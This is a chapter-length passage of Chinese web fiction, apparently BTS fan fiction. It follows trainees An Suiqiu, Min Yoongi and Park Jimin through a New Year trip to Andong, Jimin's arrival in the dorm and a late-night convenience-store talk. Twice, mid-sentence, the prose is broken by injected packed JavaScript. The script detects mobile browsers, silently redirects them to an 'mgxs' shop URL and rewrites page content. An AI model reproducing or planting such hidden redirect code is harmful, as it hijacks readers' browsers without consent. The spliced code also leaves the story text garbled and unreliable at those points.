安岁秋沉默片刻,手指无意识地摸了摸脖颈间的红绳,开口时,声音比平时更轻,“我演过戏。” 林东玄一愣,他当然知道,但是他没听过对方提起这件事,从他认识安岁秋起,对方的生活里就已经被音乐填满了,还有那群他很在意的练习生们。 “去年拍的那个电影,” “我演一个聋哑少年。” 他没有详细描述那些沉重的戏份,没有说为了学手语练到手指抽筋,没有说拍完某些场景后需要独自在休息室呆很久才能缓过来。 “演戏的时候,好像真的能变成另一个人。他的痛苦、他的快乐,都要从你身体里经过。” 林东玄怔怔地看着他。 “演技老师跟我说过,” 安岁秋抬起眼,“演戏不是逃避自己,是更勇敢地走进别人的生命里,然后你会发现……其实每个人的生命,都有相似的温度。” 窗外雪落无声。 “我姐姐也说过一句话。” 安岁秋想起安宥拉那双和自己相似的眼睛,“她说,人对你好,是因为你值得,不是要绑住你。” 林东玄低下头,很久没说话。再抬头时,眼眶有些红,但笑容是真的:“谢谢你,岁秋。” 他深吸一口气,“我会……认真想想的。” 离开咖啡店时,雪已经积了薄薄一层。安岁秋踩着雪走回宿舍,路上收到新消息。 「方PD:成绩看到了,不错,新年好好休息,年后见。」 他回了个「谢谢PD nim」,手指冻得有些僵。 忽然想起林东玄在寒冬凌晨送报的样子,想起他手上那些冻疮的痕迹,叹了口气。 有些人连“尝试”的资格,都要用尽全力去挣。 新年将至的气息,最先体现在超市里堆成山的年货和电视上循环播放的返乡广告上。 狭小的宿舍里,行李箱轮子滚动的声音此起彼伏。 “岁秋!” 金硕珍把一个保鲜盒塞进安岁秋怀里,“我自己做的紫菜包饭,胡萝卜我挑出来了,知道你讨厌。” 安岁秋低头看,饭盒里的紫菜包饭整齐排列,确实没有橙色的痕迹。 “谢谢哥。” “要好好吃饭啊,新年也是记得吃饭,别又饿着肚子写歌。” 金硕珍揉揉他的头发,像每一个担心弟弟的哥哥。 “我初五就回来,到时候给你带妈妈做的炖排骨。” 金泰亨和田柾国在门口拉拉扯扯。 “年后一定要去汉江公园骑车!”金泰亨眼睛发亮,“我保证把安安教会!” 安岁秋无奈,“我真的不会……” “没关系,包在我身上!”金泰亨拍胸脯,又露出标志性的四方嘴笑容。 田柾国在一旁递过来一个小袋子,“岁秋哥,新年快乐!这是我家那边的米饼,很好吃的。” “谢谢柾国。” 安岁秋接过,指尖碰到少年温热的手,田柾国顺势握住对方的指尖,笑得灿烂。 郑号锡和金南俊是最后走的,郑号锡拥抱安岁秋时动作很轻,声音也轻,“新年快乐,好好休息。” 金南俊的拥抱更有力些,他在安岁秋耳边说:“新年快乐,岁秋。” 门开了又关,热闹像潮水般退去。 宿舍忽然安静得能听见暖气片的嗡鸣。 安岁秋转过身,看见闵玧其还站在客厅里,他穿着灰色的居家服,头发有些乱,整个人陷在一种安静的静止里。 “哥不回家吗?” 闵玧其淡淡摇头,“很久没回去了。” 语气平静得像在说今天天气,但安岁秋听出底下那丝滞涩,像琴弦调得太紧时会发出的细微杂音。 安岁秋走到冰箱前,打开门看了看,“我爸妈今年在中国过年,姐姐在美国,我回春川也是一个人——爷爷奶奶要去寺庙祈福三天。” 他拿出一盒牛奶,转头看闵玧其,“所以,就我们俩。” 闵玧其看着他,那双总是半垂着的眼睛在灯光下显得很深,过了几秒,他几不可察地点了下头,“……嗯。” 也行,闵玧其想,那就俩人在宿舍里宅几天吧。吃饭、睡觉、写歌,新年和平时也没什么不一样的。 他刚准备打开冰箱看看有什么菜中午可以对付,就听见安岁秋说:“哥,我们去安东吧。” “……什么?” “安东。” 安岁秋重复,眼睛在灯光下泛着琥珀色的光,“河回村,新年有假面舞和传统祭典。” 他顿了顿,声音轻了些,“反正我们也没别的地方可去。” 沉默在两人之间蔓延。 窗外的雪还在下,首尔渐渐染白。 安东河回村比想象中更美。 古老的韩屋错落有致地散布在山坡上,冬天的枯枝与深色屋瓦勾勒出静谧的线条,新年期间,村里挂满了灯笼和彩带,空气里飘着打糕和米酒的甜香。 两人先去租了韩服,安岁秋选了一套淡青色的,店里的阿姨边帮他整理衣襟边夸:“哎一古,这孩子长得真俊,这颜色衬你,像汉江的春水。” 闵玧其的是深蓝色,布料厚实,边缘绣着简单的云纹,安岁秋递给他时说了句“适合哥”,闵玧其接过,指尖碰到少年微凉的手。 换上韩服后,某种微妙的距离感被打破了,两人走在石板路上,宽大的衣袖随风轻摆,像穿越了时空。 面具摊前,安岁秋拿起一个半脸狐狸面具。 白底,红纹,眼角上挑,狡猾又灵动,他戴在脸上,转头看闵玧其,“怎么样?” 面具只遮住上半张脸,露出他形状漂亮的嘴唇和下巴,闵玧其看着,喉咙动了动,“……还行。” “那哥戴这个。” 安岁秋踮脚,把一个猫咪面具扣在闵玧其脸上。 猫咪是同系列的,耳朵圆圆的,和闵玧其平时冷淡的表情形成奇妙的反差,闵玧其无奈地任他摆布,只说了句,“……好幼稚。” 安岁秋笑出声,那笑声透过面具传出来,闷闷的。 假面舞表演在村中心的广场上,村民们戴着夸张的彩色面具,随着鼓声起舞,动作古朴有力。 围观的人群里,安岁秋和闵玧其被几个热情的姨母拉了进去。 “跟着跳就行!” 姨母嗓门洪亮,“新年跳舞,好运一整年!” 闵玧其身体僵硬得像木板,他习惯了在练习室对着镜子抠动作,但这种随性又充满生命力的民间舞蹈,完全超出他的经验范围。 “哥。” 安岁秋带着笑意的声音在鼓点间隙传来,“这不是你想要的简单的律动吗?” 哎一西。 闵玧其转头看安岁秋——少年戴着狐狸面具的侧脸在冬日阳光下泛着柔光,眼睛从面具孔洞里透出来,盛着浅浅的笑意。 那一刻,闵玧其忽然放松下来。 跳吧,他想,反正也没人认识我们。 最尴尬的是传统婚礼体验。 两人被一群游客起哄推上“嘉宾新郎”的位置,需要穿着韩服完成简化版的传统婚礼流程,站在铺着红布的木台前,听着司仪用方言念祝词,闵玧其和安岁秋对视一眼,同时笑了。 那是一种“这都什么啊” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394868|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的荒诞幽默。 流程走到“新郎”要对饮时,两人端起木质酒杯,米酒的香气扑鼻而来,安岁秋小声说:“哥,干杯?” 闵玧其举杯,轻轻碰了一下,但是却按住了安岁秋想要抬起的酒杯,未成年喝什么酒。 米酒入喉,甜中带辣。 晚上的民宿是传统的韩屋,地暖烧得很热。 两人盘腿坐在窗边的矮桌前,窗外能看见村里的灯笼在夜色中连成暖黄的光带,鼓声和欢笑声隐隐传来,祭典还在继续。 “你爸妈,”闵玧其忽然开口,“支持你做音乐?” 安岁秋正用手指绕着红绳,闻言顿了顿,“他们让我自己选。” 他看向窗外,“但有时候,太多的自由反而让人更怕选错……就像写歌,和弦选择太多时,反而不知道哪个才对。” 他说话时,睫毛在眼下投出小小的阴影,闵玧其想起他弹贝斯时的样子——那么笃定,每个音符都落在该落的地方。 “选你觉得不会后悔的那个。” 安岁秋转头看他,“那哥呢?选音乐的时候,后悔过吗?” 房间里安静片刻。 “……没有。”闵玧其声音很低。 “音乐是唯一不会背叛我的东西。” 他说得平淡,但安岁秋听懂了底下那些没说的部分——关于离家,关于挣扎,关于在无数个深夜对着电脑屏幕写歌的孤独。 “现在你还有我们。” “嗯。”闵玧其应了一声,低头喝了口茶。 茶是热的,一直暖到胃里。 回程火车上,安岁秋把两人戴着面具的合照发到了群聊。 几乎是瞬间,手机开始疯狂震动。 田柾国:「哇!!狐狸面具好适合岁秋哥!!玧其哥好像猫猫哈哈哈!!!!!」 金泰亨:「你们居然偷偷去玩!!不带我们!!??」(附哭泣表情包) 金南俊:「安东假面舞是不是很有文化底蕴?我查了一下,好像有六百多年历史了。下次我们全员一起去吧!」 金硕珍:「两人都很好看呢。不过岁秋啊,记得穿暖和点,看你手都冻红了。手套戴了吗?」 郑号锡:「玧其哥居然笑了……奇迹啊。」 安岁秋看着刷屏的消息,嘴角不自觉扬起,他凑到闵玧其旁边,把手机屏幕往他那边倾斜,“哥你看。” 闵玧其正在保存照片——动作很快,但安岁秋余光瞥见了,那张他戴着猫咪面具、嘴角有极浅弧度的照片,被设成了私密收藏。 这时金泰亨又发来一个视频,点开,是他那箱珍藏的《瑶玲啊瑶玲》周边,他把安岁秋之前送他的瑶玲积木摆件郑重地放在床头最显眼的位置,对着镜头喊:“看!这都是你同胞!” 群聊瞬间被笑声淹没。 安岁秋无奈,回复:「需要我对着它们喊前辈吗?」 消息刚发出去,他就感觉旁边的闵玧其肩膀抖了一下。 窗外,夜色中的首尔越来越近,灯火如星,铺展成一片温暖的海洋。 新年过后,宿舍重新热闹起来。 大家都从各自家乡带回了特产,金硕珍的果川炖排骨、金泰亨的大邱烤肠、田柾国的釜山鱼糕、郑号锡的光州泡菜、金南俊的日山年糕,小小的客厅堆满了食物和礼物,像一场小型的文化博览会。 安岁秋和闵玧其带回的安东米酒和假面挂饰很快被瓜分一空,金泰亨把小狗挂饰挂在自己书包上,田柾国悄悄把兔子的别在枕头边。 郑号锡生日那天,孙成德老师突然推着一个蛋糕走进练习室,蜡烛的光映着号锡惊喜的脸,他许愿时闭着眼睛,睫毛轻轻颤动。 安岁秋送他的礼物是一件运动潮牌的外套,郑号锡当场就穿上了,在镜子前转了转,眼睛发亮,“你怎么知道我喜欢这个牌子?” “上次哥说杂志上这件好看。” 郑号锡看着他,忽然张开手臂用力抱了他一下,“谢谢岁秋,我很喜欢。” 那件外套后来经常出现在郑号锡身上,即使洗得有些旧了。 春天来的时候,首尔街头的樱花开始冒出细小的花苞。 练习室里,安岁秋的贝斯声和闵玧其的键盘声合在一起,两人正在尝试新的作品,经过几个月的磨合,他们的音乐频率越来越同步。 金南俊拿着写满歌词的本子凑过来,“岁秋啊,这里韵脚我觉得可以改一下……” 田柾国对着镜子练习新的编舞,汗水浸湿了额发,金泰亨在旁边模仿他的动作,故意做得夸张,惹得田柾国顶着腮去追他。 郑号锡坐在地板上拉伸,身上穿着那件运动外套。 金硕珍推开门进来时,看见的就是这样一幕——音乐、汗水、笑声,还有窗外透进来的、属于春天的光线。 “孩子们!” 他提高声音,但眼里带着笑,“方PD说下周有月度评价——准备一下!” “啊……” 练习室里哀嚎和笑骂声交织。 新年过去了,春天来了。 汉江的冰化了,首尔的樱花又要开了。 ------------------------ 参考文献: [1]姜锡范(导), 金来沅, 金海淑, 许伊才(主). 向日葵[MOV]. 首尔, 韩国, 2006-11-23. 20. 群体扩容与融入 朴智旻拖着行李箱站在那栋矮楼前时,心脏跳得像是要冲破胸腔。 釜山到首尔的车程不算太长,但对他而言却像跨越了两个世界,前不久老师刚打电话通知他—— “智旻呀,恭喜你通过Big Hit面试啦!” 仿佛才在耳边响起,现在他就真的来到了Big Hit。 而他身上那套衣服——红黄拼接的宽大运动裤,印着夸张英文口号的连帽衫。曾经被同学夸过很潮的穿搭,此刻却让他莫名觉得窘迫。 首尔的天空似乎都比釜山高一些,街道更干净,行人走得更快。 他深吸一口气,拎着行李箱爬上狭窄的楼梯,宿舍门牌号是208。 朴智旻在门口站了足足一分钟,才鼓起勇气抬起手,敲门声很轻,轻到他自己都差点没听见。 门内传来脚步声,接着门被拉开—— 开门的男生有一张温和的小鹿脸,头发柔软地搭在额前,他显然以为是别人,嘴角还带着未散的笑意。 “岁秋啊,今天怎么这么早……” 话卡在喉咙里。 两人大眼瞪小眼,愣了一秒。 然后几乎是同时,九十度鞠躬—— “砰!” 额头撞上额头的闷响。 两人同时后退两步,一个捂着额头,一个捂着鼻子,眼里都泛起了生理性的泪花。 “对不起对不起!” 朴智旻连忙道歉,声音因为紧张又尖又细。 “没事没事……” 郑号锡揉着发红的额头,脑子还在努力处理眼前的信息——一个出现在他们宿舍门口的、穿着奇怪裤子的陌生人。 走廊尽头传来脚步声。 郑号锡和朴智旻同时转头,看见两个人正从楼梯走上来。 走在前面的少年穿着深蓝色的校服外套,白衬衫领口规矩地扣到最上面一颗,手里拎着一个印着咖啡店logo的纸袋,他的头发微卷,皮肤白得像会发光,眉眼精致得让人移不开眼。 而跟在他身后的男生个子很高,背着一个明显不属于他自己的书包,皮肤有点黑,正低头说着什么。 四人八目相对,空气凝固了几秒。 ……??? 安岁秋的目光从郑号锡捂着的额头,移到朴智旻那张写满紧张的脸,最后落在那条红黄拼接的裤子上。 他歪了歪头,眼睛微微睁大。 发生什么了? 一阵兵荒马乱的解释后,朴智旻手里抱着一杯还温热的咖啡,端坐在狭窄客厅的地板上。 咖啡是安岁秋分给他的,少年从纸袋里拿出四杯咖啡,自然地递给他一杯,“哥,喝吧。” 语气自然得仿佛他们已经认识很久。 朴智旻这才知道,刚才开门的男生叫郑号锡,94年生;穿校服的是安岁秋,96年生;个子最高的是金南俊,也是94年生。而他们宿舍居然还有四个人——92年的金硕珍,93年的闵玧其,95年的金泰亨,97年的田柾国。 “八个人?!” 朴智旻声音发紧,“这、这么小的宿舍?” 金南俊沉默地露出了一个略显无奈的笑容。 安岁秋在他旁边坐下,校服裤腿因为盘腿的动作微微上缩,露出一截纤细的脚踝,他说话时声音很轻,有种安抚人心的力量,“哥别紧张,大家都很好相处的。” 朴智旻偷偷打量他。 他知道安岁秋,去年暑假陪妈妈追剧时,电视里那个眼睛亮晶晶、演童年男主的小演员,就长着这张脸。 只是电视里的孩子还带着奶气,脸颊肉乎乎的,而现在眼前的少年已经抽条,轮廓清瘦,下颌线清晰,只有笑起来时嘴角那两个小小的梨涡还留着当年的影子。 首尔果然不一样。 朴智旻心里涌起一阵混杂着自卑和羡慕的情绪,这里的人长得好看,实力也强,他一个从釜山来的乡下人,真的能跟上吗? 他又看了眼安岁秋,少年正低头从书包里拿出谱纸,侧脸在午后光线里镀着一层柔和的绒光,脖颈间那根红绳若隐若现。 真的……超级帅啊。 朴智旻在心里默默感叹,不愧是被称为“千年一遇美少年”的人。 门再次被推开时,先进来的是田柾国。 少年背着书包蹦跳着进来,嘴里还哼着不成调的旋律,在看到客厅里多出的陌生人时,脚步猛地刹住。他眨了眨那双兔子似的圆眼睛,身体下意识往安岁秋那边靠了靠。 跟在后面的金硕珍拎着几盒牛奶,看见朴智旻时也愣了一下,但很快露出温和的笑容,“是新来的孩子吗?你好,我是金硕珍。” 多米诺骨牌似的问候声在客厅里响起,伴随着九十度鞠躬,朴智旻觉得自己腰都快弯断了,但心里那根紧绷的弦却莫名松了些。 至少,这些人看起来很友好。 最后回来的是金泰亨和闵玧其。 金泰亨是咋咋呼呼冲进来的,手里捧着一个纸袋,烫得直抽气,“嘶哈——岁秋啊!我给你买了糯米糖饼!玧其哥付的钱!” 他话说到一半,目光落在朴智旻脸上,忽然顿住。 客厅里安静了一瞬。 金泰亨眨着一单一双的眼睛,视线从朴智旻软乎乎的脸颊肉,移到小巧的五官,再移到略深的肤色。他脑子里某个奇怪的开关被拨动了—— “啊!”他声音猛地拔高,“糯米糕!” 安岁秋默默抬手捂住了脸。 朴智旻茫然地眨眨眼,还没理解这个比喻,就听见旁边传来一声很轻的嗤笑,他转头看见那个最后进来的、表情冷淡的男生正靠在门边,嘴角有极浅的弧度。 那是闵玧其,朴智旻根据刚才的描述认出来了。 “泰亨啊,”金硕珍无奈地扶额,“别给新来的孩子起奇怪的外号。” “可是真的很像嘛!” 金泰亨理直气壮,把手里的纸袋往茶几上一放,凑到朴智旻面前,“你是95年的?我也是95年的!我们同龄!” 他眼睛亮得惊人,朴智旻被那热情弄得有些无措,只能点头。 “我终于有同龄亲故了!” 金泰亨欢呼,转身就从柜子里掏出一板香蕉牛奶,塞给田柾国一盒,又塞给朴智旻一盒。 于是朴智旻面前堆了一杯咖啡、一盒香蕉牛奶,还有一个金泰亨硬塞过来的糯米糖饼。 他低头看着这堆食物,脑海里只有一个念头—— 这个宿舍,好像很喜欢吃东西。 晚餐是金硕珍煮的部队火锅,加了很多配料:鸡蛋、火腿、芝士、年糕。热气腾腾的一大锅放在茶几中央,八个男生围坐一圈,筷子勺子碰撞出热闹的声响。 朴智旻注意到安岁秋吃得很少。 少年面前那碗面,吃了不到一半就放下了筷子,他吃得很慢,每一口都要咀嚼很久,眉头微微蹙着,像是完成什么艰巨任务。 “不吃了?”金硕珍问。 “嗯,饱了。”安岁秋声音很轻,把碗往茶几中央推了推。 朴智旻看着那剩下的小半碗面,心里疑惑——明明很好吃啊,怎么就吃这么点? 他还没想明白,就看见田柾国很自然地接过那碗面,倒进自己碗里,忙内吃得头也不抬,腮帮子鼓鼓的,像只囤粮的小仓鼠。 “柾国啊,”郑号锡忍不住笑,“你是真能吃。” “我长身体。”田柾国一脸正气地回复,毫不心虚。 安岁秋像是突然想起什么,起身走进卧室,朴智旻听见里面传来窸窸窣窣的声音,然后是胶带被撕开的“吱啦”声。 几个哥哥交换了个眼神。 郑号锡端着饭碗走进去,看见他们的二忙内正踮着脚,努力把一截透明胶带往窗户上贴,他嘴里还咬着一卷胶带,头发因为动作而微微凌乱。 “你干嘛呢?”郑号锡问。 安岁秋把胶带左边缘贴好,转头看他,眼神清澈,“贴胶带啊。”他说得理所当然,“不是说窗户漏风吗?” 郑号锡愣住了。 他这才想起,卧室里那张靠窗的床铺——现在唯一空着的床位——窗户确实有点漏风,以前没人睡那边,大家也就没在意,公司当然不会为了这点小事花钱修,他们自己也没想起来要处理。 可现在朴智旻要睡那里了。 春天虽然来了,但夜晚的风还是凉的。 安岁秋个子不够高,够不到窗户上沿,他试了几次,胶带总是歪掉,眉头皱得紧紧的。 金南俊放下碗走进来,从他手里接过胶带,“我来吧。” 身高优势在这时候显现出来,金南俊轻松地把胶带贴好,又仔细按压边缘,确保密封。 金硕珍和闵玧其开始收拾碗筷,田柾国和金泰亨擦桌子,郑号锡从储物柜深处翻出一套还算干净的被子枕头,开始铺床。 朴智旻站在卧室门口,看着这一幕。 他想帮忙,但刚来,不知道东西放在哪里,也不知道该做什么,只能无措地站着,手指揪着衣角,脸颊发烫,一遍遍小声说:“谢谢……真的谢谢……” 安岁秋走到他身边,声音很轻,“哥,别紧张。” 朴智旻低头,看见少年仰起的脸,灯光下安岁秋的眼睛是温暖的浅棕色,睫毛很长,在眼下投出小小的阴影。 “大家都很好的。” 安岁秋说,然后顿了顿,嘴角弯起一个很小的弧度,“而且……哥真的很像糯米团子。” 朴智旻愣住。 “裹了红糖粉的那种。”安岁秋补充,眼睛弯成月牙。 那一刻,朴智旻突然觉得,胸口那股紧绷感,彻底消失了。 第二天的训练让朴智旻意识到,这个宿舍里的人,没有一个简单的。 舞蹈课上,孙成德老师的严格名不虚传,一个简单的八拍动作,他能抠出十几个细节问题。朴智旻跳现代舞出身,身体柔软,wave做得行云流水,但跳起hip-hop那种需要爆发力和控制力的动作时,却总显得力道不对。 “智旻啊,”孙成德皱眉,“这里要更有力量感,不是软绵绵的。” 朴智旻点头,汗水顺着下颌线滴落在地板上,他咬紧牙关,一遍遍重复那个动作。 安岁秋就在他旁边练习,朴智旻注意到,这个看起来纤细的少年,跳起舞来却很有力量感,他的动作干净利落,卡点精准,虽然柔韧性显然不如自己,但每个动作都做到极致。 休息时,安岁秋坐在地板上拉伸,表情痛苦,“哥的柔韧性真好……” 朴智旻不好意思地笑,“跳了十几年现代舞,也就这点优点了。” “不是优点,”安岁秋认真看他,“是天赋。” 声乐课上,朴智旻的嗓音让老师眼睛一亮,那是一种很特别的音色,细而柔,带着中性的魅力,高音清亮,低音又有种奇特的磁性。 安岁秋在旁边听着,手指无意识地在膝盖上敲击节奏,他脑子里忽然闪过几个旋律片段——那些他写了一半又搁置的曲子,总觉得哪里不对。 现在他知道了。 那些曲子,或许不该由男生来唱。 他看着认真练习发声的朴智旻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394869|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里某个角落悄悄松动,或许……他可以试试写点不一样的歌。 朴智旻开始熬夜了。 凌晨两点的练习室,往往只剩下他一个人,镜子里的少年重复着同一个动作,汗水浸湿了额发,眼神专注得可怕。 从釜山艺术高中的现代舞首席,到练习生里什么都跟不上的新人,这种落差像巨石压在心头。 他知道自己跳舞的发力方式不对,知道自己的体力不如其他人,知道自己的脸在镜头前不够好看——脸颊肉太多,五官太小,肤色也深。 所以他只能练,比别人多练一小时,两小时,三小时。 回到宿舍时通常是凌晨两三点,他尽量放轻动作,但老旧的木地板还是发出轻微的吱呀声。 黑暗中,他摸索着走向自己的床铺,忽然一只手从旁边伸出来,捂住了他的嘴。 朴智旻心脏骤停,差点叫出声,那只手很凉,带着淡淡的柚子茶的香味。 “哥,是我。”安岁秋的声音压得很低。 朴智旻瞪大眼睛,借着窗外透进来的微光,看见安岁秋穿着那套看起来很贵的丝绸睡衣——安宥拉送他的生日礼物,站在他面前。 少年拉着他,悄无声息地走出卧室,走出宿舍。 楼道里的声控灯应声亮起,昏黄的光线下安岁秋的脸显得愈发苍白,他太瘦了,睡衣空荡荡地挂在身上,锁骨深陷,在灯光下投出阴影。 朴智旻几乎是下意识地,把身上的棒球服外套脱下来,披在安岁秋肩上。 “我不冷。”安岁秋说,但没拒绝。 两人下了楼,走进二十四小时便利店,自动门打开的瞬间,温暖的灯光和食物的香气扑面而来。 安岁秋买了两份关东煮,一份推给朴智旻,一份放在自己面前,却没动。 “吃吧,哥。” 朴智旻看着那碗冒着热气的关东煮,忽然觉得眼眶发热,他低头,用竹签戳起一块萝卜,塞进嘴里,温热的口感从食道一路滑到胃里。 “我……是不是很没用?”他听见自己问,声音哑得厉害。 安岁秋没说话,只是安静地看着他。 “跳舞跟不上,唱歌也只是普通,长得也不好看……” 朴智旻越说声音越小,“除了拼命练,我不知道还能做什么。” 便利店里的收音机在放一首老歌,女歌手的声音温柔婉转。 “玧其哥经常在工作室待到凌晨三点。” 安岁秋忽然开口,声音很轻,“有一次我早起,看见他趴在桌子上睡着了,手边是写了一半的谱子。” “号锡哥为了一个动作,可以跳一整天,有一次他脚踝肿得像馒头,还是坚持练完才去医院。” 安岁秋继续道,手指无意识地绕着关东煮的纸杯边缘,“南俊哥没有舞蹈天赋,所以他每天最早来,最晚走,硕珍哥的vocal被老师说太平,他就一遍遍练,练到嗓子哑。” 他看着朴智旻,“其实我们每个人都这样。” 朴智旻怔怔地听着。 “但是,”安岁秋话锋一转。 “玧其哥熬夜的时候,号锡哥会陪他,南俊哥练舞的时候,泰亨哥会给他买饮料,硕珍哥练歌的时候,柾国会安静地坐在旁边听。” 他顿了顿,眼睛在便利店的白炽灯下清澈见底,“哥,你不一样,你是一个人。” 朴智旻的喉咙像被什么堵住了。 “我们不是不知道你在熬夜。” “上次玧其哥从工作室回来时,看见过练习室的灯亮着,他还以为是号锡哥,结果没想到是你。” “我们没有说,是因为我们在等你开口。” 安岁秋看着他,“等你需要我们的时候。” 朴智旻低下头,眼泪终于掉下来,砸在关东煮的汤里。 就在这时,便利店的门又被推开了。 一个身影摇摇晃晃地走进来,头发乱糟糟的,眼睛下面有深深的黑眼圈,是闵玧其。 他看见坐在窗边的两人,愣了一下,然后走过来。 “不是说别等我了?” 闵玧其的声音带着熬夜后的沙哑,语气无奈。 安岁秋仰头看他,嘴角弯起,“哥。” “嗯。” 闵玧其应了一声,在他旁边坐下,目光扫过朴智旻红红的眼眶,又扫过安岁秋肩上那件明显过大的棒球服。 安岁秋把那碗一直没动的关东煮推到他面前,“吃夜宵。” 原来……那份是给闵玧其的。朴智旻忽然明白了。 闵玧其低头看着那碗关东煮,沉默了几秒,然后拿起竹签,他吃得很慢,动作里透出疲惫,细长的手腕从袖口露出来,银杏叶手链在便利店灯光下泛着柔和的光。 安岁秋看着手链挑了挑眉,自从那天在闵玧其生日送他以后,好像就没见这哥摘下来过。 朴智旻看见闵玧其的目光落在自己身上,他现在只穿着短袖,白T恤还因为练舞出汗而留下了深色汗渍。 闵玧其顿了顿,放下竹签,把身上的大衣脱下来,递过去。 “给。” 他说,声音很平淡。 朴智旻愣愣地接过,大衣还带着体温,有淡淡的薄荷和烟草混合的味道。 他转头看见安岁秋对自己眨了眨眼,指着闵玧其比了个口型:“帅气。” 朴智旻突然笑了,眼泪还挂在脸上,但他真的笑了。 窗外,首尔的夜空渐渐泛起深蓝色,黎明快要来了。 便利店的灯光温暖地笼罩着三个人,关东煮的热气缓缓上升,融进晨光里。 21. 技能习得 早上七点零三分,金硕珍准时掀开了田柾国的被子。 “柾国啊,起床了——”他声音温润,动作却毫不留情。 田柾国在睡梦中皱紧眉头,整个人蜷缩起来,像只试图躲避现实的兔子,他抱着枕头,含糊地嘟囔:“五分钟……就五分钟……” “你昨天也是这么说的,结果就迟到了。” 金硕珍不为所动,转头看向隔壁床铺。 他先拍了拍下铺的床沿,“智旻啊,醒醒。” 朴智旻在睡梦中皱了皱眉,把脸更深地埋进被子里,脸颊肉被枕头挤得微微鼓起,肤色在晨光中泛着健康的光泽。而上铺的金泰亨正睡得四仰八叉——一条腿垂在床沿外,怀里紧紧抱着安岁秋夹的那个企鹅玩偶,被子早被踢到了地上。 “泰亨。” 金硕珍提高了些声音,弯腰捡起被子。 “唔……”金泰亨翻了个身,把脸埋进玩偶里,“哥……再睡一会儿……” 这场景每天都在上演,金硕珍有时会想,自己是不是提前体验了当老父亲的感受。 距离便利店那场谈心已经过去两个月,朴智旻依然保持着深夜加练的习惯,看似什么都没变,但现在他会提前跟大家说:“我今晚可能会晚点回来。” 而安岁秋总会回应:“好,智旻哥,我放学就去练习室找你。” 于是乎,很多个夜晚,两个少年在镜子前的身影被灯光拉得很长,安岁秋早年打下的舞蹈基础,让他对街舞的发力方式和节奏把控,比跳现代舞出身的朴智旻要更为熟悉。 “哥,这里要用腰发力,不是膝盖。” 安岁秋会在镜子前示范,动作干净利落,每个卡点都精准得像节拍器。 朴智旻跟着学,汗水浸湿了额发,转换舞种的过程依然艰难,但至少不再是一个人在黑暗中摸索。练到难点动作时,他会不自觉地咬住下唇,眉头紧皱,而安岁秋这时会轻轻拍他的肩,“休息一下,喝点水。” 这两个月来,宿舍里悄然蔓延开一种内卷的风气。 如果朴智旻加练到凌晨一点,金南俊就会在创作室待到一点半;如果郑号锡多练一小时舞蹈,田柾国就会加练一小时vocal,连最随性的金泰亨都被带动着,开始主动记舞蹈动线。 结果就是——月度考核那天,孙成德老师难得地露出了满意的笑容。 “智旻啊。” 金硕珍轻轻推了推朴智旻的肩膀,少年睫毛颤了颤,艰难地睁开眼,看到金硕珍的脸时瞬间清醒,“啊!对不起哥,我马上起!” 他手忙脚乱地坐起身,头发乱糟糟地翘着,金硕珍忍不住笑,“不急,还有时间。” 卫生间门口已经排起了小队,郑号锡叼着牙刷,含糊地催促,“南俊啊,你快一点——” “马上马上!”金南俊的声音混着水声传来。 安岁秋的床铺已经空了,被子整齐叠成豆腐块,枕头上连褶皱都被抚平。他总是最早起床的那个——为了避开八个人共用一个卫生间的早高峰,这个习惯从他入住第一天就开始了,如今已成为宿舍里不成文的秩序。 厨房里飘出煎蛋的香气。 安岁秋正在热牛奶,他穿着简单的白T恤和灰色睡裤,头发微湿,脖颈间的红绳在晨光中格外显眼。 听到脚步声,他抬头看向金硕珍,“哥,鸡蛋要几个?” “八个…”金硕珍系上围裙,“不对,七个。玧其还在睡。” 闵玧其确实还在睡,他侧躺在最靠里的床铺上,背对着晨光,被子盖到下巴,呼吸均匀绵长。昨晚他又在工作室待到凌晨三点,现在正处于补觉的黄金时段,没人会去吵他——这是宿舍里另一个不成文的规定。 早餐是简单的煎蛋、吐司和牛奶,七个人围坐在客厅的地板上,阳光从窗户斜斜照进来,在地板上切出明亮的光带。 安岁秋盯着自己盘子里的煎蛋,眉头微蹙,金硕珍已经尽量少放油了,但他还是用叉子把边缘煎得焦黄的部分小心翼翼拨开。 “岁秋啊,”金硕珍无奈,“多少吃一点。” “在吃。” 安岁秋小声说,夹起一小块蛋白送进嘴里,他咀嚼得很慢,像在完成什么艰巨任务。 坐在他对面的朴智旻很难不注意到。 这一个月来,他逐渐摸清了每个人的习惯。 金泰亨吃饭像打仗,田柾国食量大得惊人,金南俊习惯一边吃一边看手机,郑号锡坐得最端正,而安岁秋……对食物有种近乎挑剔的谨慎。 安岁秋喝了两口牛奶,腥味在口腔里漫开,他皱起眉,沉默地把没怎么动的杯子推到田柾国面前。 田柾国头也不抬,很自然地把剩余的部分喝掉。 朴智旻看着这一幕,嘴角不自觉扬起,他想起了月度考核那天。 考核是在上周进行的,练习室里气氛紧绷,方时赫和几位老师坐在镜子前,表情严肃,八个人穿着统一的黑色训练服,汗水已经浸湿了额发。 团队舞蹈部分结束后,是个人展示环节。 朴智旻选择了高难度的现代舞与街舞融合片段。 音乐响起时,他完全变了个人——柔软的身体在力量与柔美间切换,跳跃、旋转、定格,汗水随着动作飞洒,在灯光下折射出细碎的光。 